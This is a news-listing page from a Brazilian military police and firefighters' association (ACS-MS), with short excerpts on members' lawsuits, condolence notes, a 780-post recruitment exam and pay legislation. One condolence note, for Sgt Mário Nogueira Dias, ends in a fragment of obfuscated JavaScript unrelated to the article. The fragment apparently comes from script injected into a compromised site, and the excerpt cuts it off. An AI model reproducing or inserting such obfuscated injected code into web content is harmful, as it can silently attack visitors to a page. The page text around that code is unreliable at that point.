Notícias – Página: 44

jul82022 by Assessoria de Imprensa da ACSNo Comments

ACS disponibiliza serviço jurídico gratuito aos policiais impedidos de atuar em bairros da Capital

A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) disponibilizou, nesta semana, sua assessoria jurídica aos quatro policiais militares do Batalhão de Choque que foram impedidos, por ordem judicial, de atuar em bairros da região oeste de Campo Grande. No mês de junho, o jornal online Midiamax divulgou reportagem denunciando o pedido de prisão contra os policiais, que atuam na repressão ao tráfico de drogas na região. Eles foram denunciados ao MPE (Ministério Público Estadual) por traficantes de região. “Tendo em vista o tratamento dispensado pelo Ministério Público Estadual em face dos policiais militares, e visando propiciar segurança jurídica aos envolvidos, bem como a todos os integrantes da Corporação, a ACS/PMBM/MS oferece amplo at...

jul72022 by Assessoria de Imprensa da ACSNo Comments

NOTA DE PESAR – Ryan Lucas

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É com profunda tristeza que a ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) informa o falecimento do jovem Ryan Lucas, ocorrido esta tarde, na cidade de Naviraí. Ele é filho do associado e Cabo PM Edvaldo Gonçalves de Lima, atualmente lotado 3º Pelotão PM de Mundo Novo. Segundo as últimas informações, o jovem, de apenas 17 anos, foi vítima de acidente automobilístico no centro de Naviraí. As circunstâncias do acidente ainda serão investigadas. Sabe-se apenas que o rapaz foi colhido por uma caminhonete e faleceu no local. Em estado de choque e com quadro clínico de pressão arterial, nosso Associado e pai do jovem precisou ser hospitalizado. Neste momento recebe atendimento no Hospital Municipal de Naviraí. A dor de perder um filho se...

jul62022 by Assessoria de Imprensa da ACSNo Comments

ACS consegue mandado de segurança para sócio integrante do CVMRR impedido de participar do processo seletivo para promoção por tempo de convocação

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A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) conquistou sentença procedente em um mandado de segurança para um associado que havia sido excluído da lista dos cabos convocados para o processo seletivo para concorrer a promoção de sargento por tempo de designação da Polícia Militar. A decisão é do juiz Juliano Luiz Pereira, da Vara de Iguatemi, e a defesa foi feita pelo advogado Thayson Moraes Nascimento, do jurídico de Naviraí. O militar é cabo desde dezembro de 2005. Em 2012, foi transferido para a reserva remunerada após cumprir 30 anos de contribuição previdenciária. Por ato do governador, foi convocado para retornar ao serviço ativo. A lei complementar 289/19, que criou o quadro suplementar de praças e ...

jul52022 by Assessoria de Imprensa da ACSNo Comments

ACS consegue liminar após Comando dos Bombeiros impedir associada de frequentar faculdade

Ação ACS, Notícias

A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) conseguiu uma liminar para permitir que uma associada, lotada em Ponta Porã, possa frequentar o curso de Medicina em uma faculdade de Pedro Juan Caballero. A defesa foi feita pela advogada Josiane Meira. A bombeira, que está de licença para tratamento de saúde, foi impedida de frequentar a faculdade, que fica no Paraguai, sob o fundamento de que o militar “tem o dever da disciplina, dedicação integral ao serviço, estando de sobreaviso permanente”. Para impedir que a associada frequentasse o curso, o Comando da corporação utilizou o artigo 102 da Lei Complementar 53-90, que trata dos militares reformados por alienação mental, o que não era seu caso, já que ela esta...

jul12022 by Assessoria de Imprensa da ACSNo Comments

Governo de MS autoriza concurso com 780 vagas para Polícia Militar e Corpo de Bombeiros

Destaques, Notícias

O Governo do Estado anunciou, sexta-feira (01), que vai autorizar a abertura de concurso público para soldados e oficiais da Polícia Militar e Corpo de Bombeiros de Mato Grosso do Sul. Serão 780 vagas, sendo 500 para soldados da PM, 250 para soldados dos bombeiros, 20 para oficiais da Polícia Militar e outras 10 para oficiais dos Bombeiros. “Queremos reforçar nossa segurança pública com novos policiais e bombeiros. Estamos visando a melhora dos serviços públicos e o atendimento à população”, destacou o governador Reinaldo Azambuja, esta manhã, durante assinatura dos decretos que autorizam a abertura dos certames. Com os decretos de autorização assinados, a SAD (Secretaria de Estado de Administração e Desburocratização), em conjunto com a Sejusp (Secretaria de Estado de Justiça e Segura...

jul12022 by Assessoria de Imprensa da ACSNo Comments

TJMS concede Habeas Corpus para remeter à Justiça Comum ação de associado

Destaques, Notícias

A 3ª Câmara Criminal do TJMS (Tribunal de Justiça de Mato Grosso do Sul) concedeu, nesta quinta-feira (01), Habeas Corpus para retirar da Justiça Militar remeter à Justiça Comum uma ação de um sócio envolvido em uma confusão em bar de Campo Grande. A defesa foi feita pelo advogado Paulo Alberto Doreto, que integra a assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul). O associado foi denunciado pela prática do crime de violência contra inferior/lesão corporal leve, contra outro militar, mas quando não uniformizado, em local não sujeito a administração militar e fora do exercício de qualquer função militar, já que o sócio estava de folga. Assim, a defesa requereu ao Juízo a declaração de incompetência para julgamento ...

jun292022 by Assessoria de Imprensa da ACSNo Comments

NOTA DE PESAR – SGT PM Mário Nogueira Dias

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É com pesar que a ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) comunica o falecimento do sargento Mário Nogueira Dias, ocorrido nesta quarta-feira (29), na cidade de Dois Irmãos do Buriti. O militar foi vítima de uma embolia pulmonar. O velório acontece a partir das 23h desta quarta, na Capela Paz Coração de Jesus, em Dois Irmãos do Buriti. O sepultamento será às 10h desta quinta-feira. Rogamos a Deus para que conforte amigos e familiares neste momento de dor e tristeza, e receba nosso companheiro em um bom lugar ao seu lado. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0...

jun282022 by Assessoria de Imprensa da ACSNo Comments

Assembleia aprova projeto do Poder Executivo que adapta Lei Complementar 127/08

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A Assembleia Legislativa de Mato Grosso do Sul aprovou de maneira unânime, na sessão desta terça-feira (28), o projeto de alteração na lei complementar 127/08, que regulariza as funções gratificadas na Polícia Militar e Corpo de Bombeiros Militares. A alteração legislativa regulariza funções já existentes e disciplinadas pela Lei Complementar 188/14 (LOB CBMMS) e Lei Complementar 190/14 (LOB PMMS). A proposta não cria novas funções gratificadas, mas, sim, regulariza funções já previstas tanto na LOB da PMMS quanto na LOB do CBMMS e que não estavam contempladas na LC 127/08, fato que impossibilitava o pagamento das gratificações. O projeto aprovado possibilita que os sargentos, com CAS (Curso de Aperfeiçoamento de Sargentos), sejam designados na função de Comandantes de Destacamentos em n...

jun282022 by Assessoria de Imprensa da ACSNo Comments

ACS e Associação dos Magistrados discutem demandas dos policiais militares e bombeiros

Destaques, Notícias

A diretoria da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) realizou, nesta terça-feira (28), uma visita institucional a Amamsul (Associação dos Magistrados de Mato Grosso do Sul) para estreitar os laços e discutir uma série de demandas da PM e dos bombeiros. O presidente da entidade, sargento Fabrício de Carvalho Moura, foi recebido pelo dirigente da entidade dos magistrados, juiz Giuliano Máximo Martins. Também participaram do encontro o diretor Jurídico da ACS, cabo Raphael Colferai, e o diretor de Esporte, Cultura e Lazer, sargento Márcio Inácio Lima. O objetivo do encontro, conforme Moura, foi falar da necessidade de valorização e reconhecimento do trabalho policial militar, principalmente àqueles que estão na atividade fim. “...

jun282022 by Assessoria de Imprensa da ACSNo Comments

Prazo para aderir a acordos de precatórios termina nesta quinta-feira

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Termina nesta quinta-feira (30) o prazo para fazer pedido de acordo em precatórios. A expectativa é que os credores incluídos na lista cronológica para os precatórios recebam os créditos com mais celeridade. Os interessados em formalizar o acordo deverão manifestar seu interesse mediante petição nos autos do precatório ou, excepcionalmente e de forma justificada, efetuar o pedido administrativamente junto à PGE/MS por meio do e-mail: pcsp@pge.ms.gov.br. Os descontos estão fixados na faixa de 5% a 40% sobre o valor total devido e atualizado do crédito, segundo critérios de cálculo estabelecidos considerando-se o valor da Unidade Fiscal de Referência de Mato Grosso do Sul (Uferms) de junho de 2022. A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiro...